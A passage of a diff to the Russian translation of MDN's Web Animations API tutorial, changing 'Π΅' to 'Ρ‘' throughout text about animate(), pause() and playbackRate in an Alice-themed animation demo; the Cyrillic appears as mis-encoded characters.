-<p>The <code>animate()</code> ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ Π½Π° любой DOM-элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS. И ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ записан нСсколькими способами. ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π½Π° ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ ΠΊΠ°Π΄Ρ€Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ характСристики, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ просто ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ свои значСния нСпосрСдствСнно Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
+<p>The <code>animate()</code> ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ Π½Π° любой DOM-элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS. И ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ записан нСсколькими способами. ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π½Π° ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ ΠΊΠ°Π΄Ρ€Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ характСристики, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ просто ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ свои значСния нСпосрСдствСнно Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">document.getElementById("alice").animate(
[
@@ -118,7 +118,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
}
);</pre>
-<p>Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π° Π½Π΅ Π΅Π΅ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ повторяСтся ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·), ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΏΡ€ΠΎΠΉΡ‚ΠΈΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎ миллисСкундам:</p>
+<p>Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, Π° Π½Π΅ Π΅Ρ‘ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ повторяСтся ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·), ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΏΡ€ΠΎΠΉΡ‚ΠΈΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎ миллисСкундам:</p>
<pre class="brush: js notranslate">document.getElementById("alice").animate(
[
@@ -133,7 +133,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
<p><a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010"><img alt="Playing the growing and shrinking game with Alice." src="https://mdn.mozillademos.org/files/13845/growing-shrinking_article_optimized.gif" style="display: block; height: 374px; margin-left: auto; margin-right: auto; width: 700px;"></a></p>
-<p>Π’ этой ΠΈΠ³Ρ€Π΅ Алиса мСняСтся Π² ростС, ΠΎΠ½Π° Ρ‚ΠΎ растСт, Ρ‚ΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ΡΡ, Π° ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌ ΠΌΡ‹ этот процСсс с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Β Π±ΡƒΡ‚Ρ‹Π»ΠΊΠΈ ΠΈ кСкса. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… ΠΈΠΌΠ΅ΡŽΡ‚ свою Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ.</p>
+<p>Π’ этой ΠΈΠ³Ρ€Π΅ Алиса мСняСтся Π² ростС, ΠΎΠ½Π° Ρ‚ΠΎ растёт, Ρ‚ΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ΡΡ, Π° ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌ ΠΌΡ‹ этот процСсс с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Β Π±ΡƒΡ‚Ρ‹Π»ΠΊΠΈ ΠΈ кСкса. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… ΠΈΠΌΠ΅ΡŽΡ‚ свою Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ.</p>
<h3 id="ΠŸΠ°ΡƒΠ·Π°_ΠΈ_ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Π½ΠΈΠ΅_Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.">ΠŸΠ°ΡƒΠ·Π° ΠΈ ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Π½ΠΈΠ΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</h3>
@@ -149,7 +149,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
duration: aliceChange.effect.timing.duration / 2
});</pre>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ {{domxref("Element.animate()")}} Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ сразу ΠΆΠ΅ ΠΊΠ°ΠΊ начнСтся ΠΈΠ³Ρ€Π°. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ автоматичСскоС ΠΏΠΎΠ΅Π΄Π°Π½ΠΈΠ΅ кСкса Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π° Π½Π΅Π³ΠΎ Π½Π°ΠΆΠΌΠ΅Ρ‚, ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ {{domxref("Animation.pause()")}} сразу ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈΠ³Ρ€Π° открываСтся, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ:</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ {{domxref("Element.animate()")}} Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ сразу ΠΆΠ΅ ΠΊΠ°ΠΊ начнётся ΠΈΠ³Ρ€Π°. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ автоматичСскоС ΠΏΠΎΠ΅Π΄Π°Π½ΠΈΠ΅ кСкса Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π° Π½Π΅Π³ΠΎ Π½Π°ΠΆΠΌΡ‘Ρ‚, ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ {{domxref("Animation.pause()")}} сразу ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈΠ³Ρ€Π° открываСтся, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">nommingCake.pause();</pre>
@@ -180,11 +180,11 @@ cake.addEventListener("touchstart", growAlice, false);</pre>
<ul>
<li>{{domxref("Animation.finish()")}} ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π² ΠΊΠΎΠ½Π΅Ρ† Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</li>
- <li>{{domxref("Animation.cancel()")}} ΠΏΡ€Π΅Ρ€Π²Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π΅Π΅ эффСкт.</li>
- <li>{{domxref("Animation.reverse()")}} ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Ссли ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ({{domxref("Animation.playbackRate")}} ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚ΠΎ анимация ΠΏΠΎΠΉΠ΄Π΅Ρ‚ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС.</li>
+ <li>{{domxref("Animation.cancel()")}} ΠΏΡ€Π΅Ρ€Π²Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π΅Ρ‘ эффСкт.</li>
+ <li>{{domxref("Animation.reverse()")}} ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Ссли ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ({{domxref("Animation.playbackRate")}} ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚ΠΎ анимация ΠΏΠΎΠΉΠ΄Ρ‘Ρ‚ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС.</li>
</ul>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ playbackRateβ€” ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ. Когда Алиса ΠΏΡŒΠ΅Ρ‚ ΠΈΠ· Π±ΡƒΡ‚Ρ‹Π»ΠΊΠΈ, ΠΎΠ½Π° становится мСньшС. Π­Ρ‚ΠΎ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π±ΡƒΡ‚Ρ‹Π»ΠΊΠ° измСняСт Π΅Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ playbackRate ΠΎΡ‚ 1 Π΄ΠΎ -1:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ playbackRateβ€” ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ. Когда Алиса ΠΏΡŒΡ‘Ρ‚ ΠΈΠ· Π±ΡƒΡ‚Ρ‹Π»ΠΊΠΈ, ΠΎΠ½Π° становится мСньшС. Π­Ρ‚ΠΎ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π±ΡƒΡ‚Ρ‹Π»ΠΊΠ° измСняСт Π΅Ρ‘ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ playbackRate ΠΎΡ‚ 1 Π΄ΠΎ -1:</p>
<pre class="brush: js notranslate">var shrinkAlice = function() {
aliceChange.playbackRate = -1;
@@ -194,11 +194,11 @@ cake.addEventListener("touchstart", growAlice, false);</pre>
bottle.addEventListener("mousedown", shrinkAlice, false);
bottle.addEventListener("touchstart", shrinkAlice, false);</pre>
-<p>Π’ <a href="https://en.wikipedia.org/wiki/Through_the_Looking-Glass">Through the Looking-Glass</a>, Алиса ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚ ΠΏΠΎ ΠΌΠΈΡ€Ρƒ, Π³Π΄Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Π΅ΠΆΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Π½Π° мСстС ΠΈ Π±Π΅ΠΆΠ°Ρ‚ΡŒ Π² Π΄Π²ΠΎΠ΅ быстрСС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ Π²ΠΏΠ΅Ρ€Π΅Π΄. НапримСр Π² Π³ΠΎΠ½ΠΊΠ΅ с ΠšΡ€Π°ΡΠ½ΠΎΠΉ ΠΊΠΎΡ€ΠΎΠ»Π΅Π²ΠΎΠΉ, Алиса ΠΈ ΠšΡ€Π°ΡΠ½Π°Ρ ΠΊΠΎΡ€ΠΎΠ»Π΅Π²Π° Π±Π΅Π³ΡƒΡ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Π½Π° мСстС (ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ Π½Π° <a href="http://codepen.io/rachelnabors/pen/PNGGaV">full code on Codepen</a>):</p>
+<p>Π’ <a href="https://en.wikipedia.org/wiki/Through_the_Looking-Glass">Through the Looking-Glass</a>, Алиса ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚ ΠΏΠΎ ΠΌΠΈΡ€Ρƒ, Π³Π΄Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Π΅ΠΆΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Π½Π° мСстС ΠΈ Π±Π΅ΠΆΠ°Ρ‚ΡŒ Π² Π΄Π²ΠΎΠ΅ быстрСС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ Π²ΠΏΠ΅Ρ€Ρ‘Π΄. НапримСр Π² Π³ΠΎΠ½ΠΊΠ΅ с ΠšΡ€Π°ΡΠ½ΠΎΠΉ ΠΊΠΎΡ€ΠΎΠ»Π΅Π²ΠΎΠΉ, Алиса ΠΈ ΠšΡ€Π°ΡΠ½Π°Ρ ΠΊΠΎΡ€ΠΎΠ»Π΅Π²Π° Π±Π΅Π³ΡƒΡ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Π½Π° мСстС (ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ Π½Π° <a href="http://codepen.io/rachelnabors/pen/PNGGaV">full code on Codepen</a>):</p>
<p><a href="http://codepen.io/rachelnabors/pen/PNGGaV"><img alt="Alice and the Red Queen race to get to the next square in this game." src="https://mdn.mozillademos.org/files/13847/red-queen-race_optimized.gif" style="display: block; height: 342px; margin-left: auto; margin-right: auto; width: 640px;"></a></p>
-<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ малСнькиС Π΄Π΅Ρ‚ΠΈ Π»Π΅Π³ΠΊΠΎ ΡƒΡΡ‚Π°ΡŽΡ‚, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ ΡˆΠ°Ρ…ΠΌΠ°Ρ‚Π½Ρ‹Ρ… Ρ„ΠΈΠ³ΡƒΡ€, Алиса постоянно замСдляСтся. ΠœΡ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΠ»ΠΈ это Π² ΠΊΠΎΠ΄Π΅ ΠΏΡƒΡ‚Π΅ΠΌ ослаблСния (ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ скорости) playbackRate Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
+<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ малСнькиС Π΄Π΅Ρ‚ΠΈ Π»Π΅Π³ΠΊΠΎ ΡƒΡΡ‚Π°ΡŽΡ‚, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ ΡˆΠ°Ρ…ΠΌΠ°Ρ‚Π½Ρ‹Ρ… Ρ„ΠΈΠ³ΡƒΡ€, Алиса постоянно замСдляСтся. ΠœΡ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΠ»ΠΈ это Π² ΠΊΠΎΠ΄Π΅ ΠΏΡƒΡ‚Ρ‘ΠΌ ослаблСния (ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ скорости) playbackRate Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
<pre class="brush: js notranslate">setInterval( function() {
@@ -209,7 +209,7 @@ bottle.addEventListener("touchstart", shrinkAlice, false);</pre>
}, 3000);</pre>
-<p>Но постоянно наТимая Π½Π° Π½ΠΈΡ… ΠΌΡ‹ΡˆΡŒΡŽ, ΠΌΡ‹ заставляСм ΠΈΡ… ΡƒΡΠΊΠΎΡ€ΠΈΡ‚ΡŒΡΡ ΠΏΡƒΡ‚Π΅ΠΌ умноТСния playbackRate (скорости Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ)</p>
+<p>Но постоянно наТимая Π½Π° Π½ΠΈΡ… ΠΌΡ‹ΡˆΡŒΡŽ, ΠΌΡ‹ заставляСм ΠΈΡ… ΡƒΡΠΊΠΎΡ€ΠΈΡ‚ΡŒΡΡ ΠΏΡƒΡ‚Ρ‘ΠΌ умноТСния playbackRate (скорости Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ)</p>
<pre class="brush: js notranslate">var goFaster = function() {
@@ -224,7 +224,7 @@ document.addEventListener("touchstart", goFaster);</pre>
<h2 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ_ΠΈΠ·_Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ· Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</h2>
-<p>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ playbackRate, ΠΊΠ°ΠΊ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ доступности сайта для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ с вСстибулярными расстройствами, позволяя ΠΈΠΌ Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π½Π° всСх страницах сайта. Π­Ρ‚ΠΎ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS Π±Π΅Π· пСрСсчСта Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π΅ CSS, Π½ΠΎ с Π²Π΅Π±-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ API, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ (ΠΏΠΎΠΊΠ° Π½Π΅ поддСрТиваСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…!) ΠœΠ΅Ρ‚ΠΎΠ΄Β {{domxref("document.getAnimations()")}} систСму Ρ†ΠΈΠΊΠ»ΠΎΠ² ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π½Π° страницС ΠΈ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
+<p>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ playbackRate, ΠΊΠ°ΠΊ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ доступности сайта для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ с вСстибулярными расстройствами, позволяя ΠΈΠΌ Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π½Π° всСх страницах сайта. Π­Ρ‚ΠΎ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS Π±Π΅Π· пСрСсчёта Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π΅ CSS, Π½ΠΎ с Π²Π΅Π±-Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ API, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ (ΠΏΠΎΠΊΠ° Π½Π΅ поддСрТиваСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…!) ΠœΠ΅Ρ‚ΠΎΠ΄Β {{domxref("document.getAnimations()")}} систСму Ρ†ΠΈΠΊΠ»ΠΎΠ² ΠΏΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π½Π° страницС ΠΈ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">document.getAnimations().forEach(
function (animation) {
@@ -250,21 +250,21 @@ document.addEventListener("touchstart", goFaster);</pre>
fill: 'both'
});</pre>
-<p>ИзмСнСниС Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Алисы Π² Π΄Π²Π° Ρ€Π°Π·Π° происходит Π·Π° 8 сСкунд. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ останавливаСм Π΅Π΅:</p>
+<p>ИзмСнСниС Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Алисы Π² Π΄Π²Π° Ρ€Π°Π·Π° происходит Π·Π° 8 сСкунд. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ останавливаСм Π΅Ρ‘:</p>
<pre class="brush: js notranslate">aliceChange.pause();</pre>
-<p>Если Π±Ρ‹ оставили Π΅Π΅ Π½Π° ΠΏΠ°ΡƒΠ·Π΅ Π² Π½Π°Ρ‡Π°Π»Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ , Ρ‚ΠΎ Алиса ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ»Π°ΡΡŒ Π±Ρ‹ Π² Π΄Π²Π° Ρ€Π°Π·Π°, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ΠΏΠΈΠ»Π° Π±Ρ‹ всю Π±ΡƒΡ‚Ρ‹Π»ΠΊΡƒ. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ "воспроизвСдСниС" Π² сСрСдинС, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° ΡƒΠΆΠ΅ Π½Π° ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Ρƒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, установив {{domxref("Animation.currentTime")}} 4 сСкунды, 